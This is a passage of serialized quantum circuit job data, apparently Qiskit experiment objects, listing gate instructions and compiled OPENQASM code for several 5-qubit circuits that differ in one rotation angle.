2]], 'name': 'circuit1193', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.300000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1195', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.400000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1197', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.500000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.6000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1199', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.600000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.7000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': 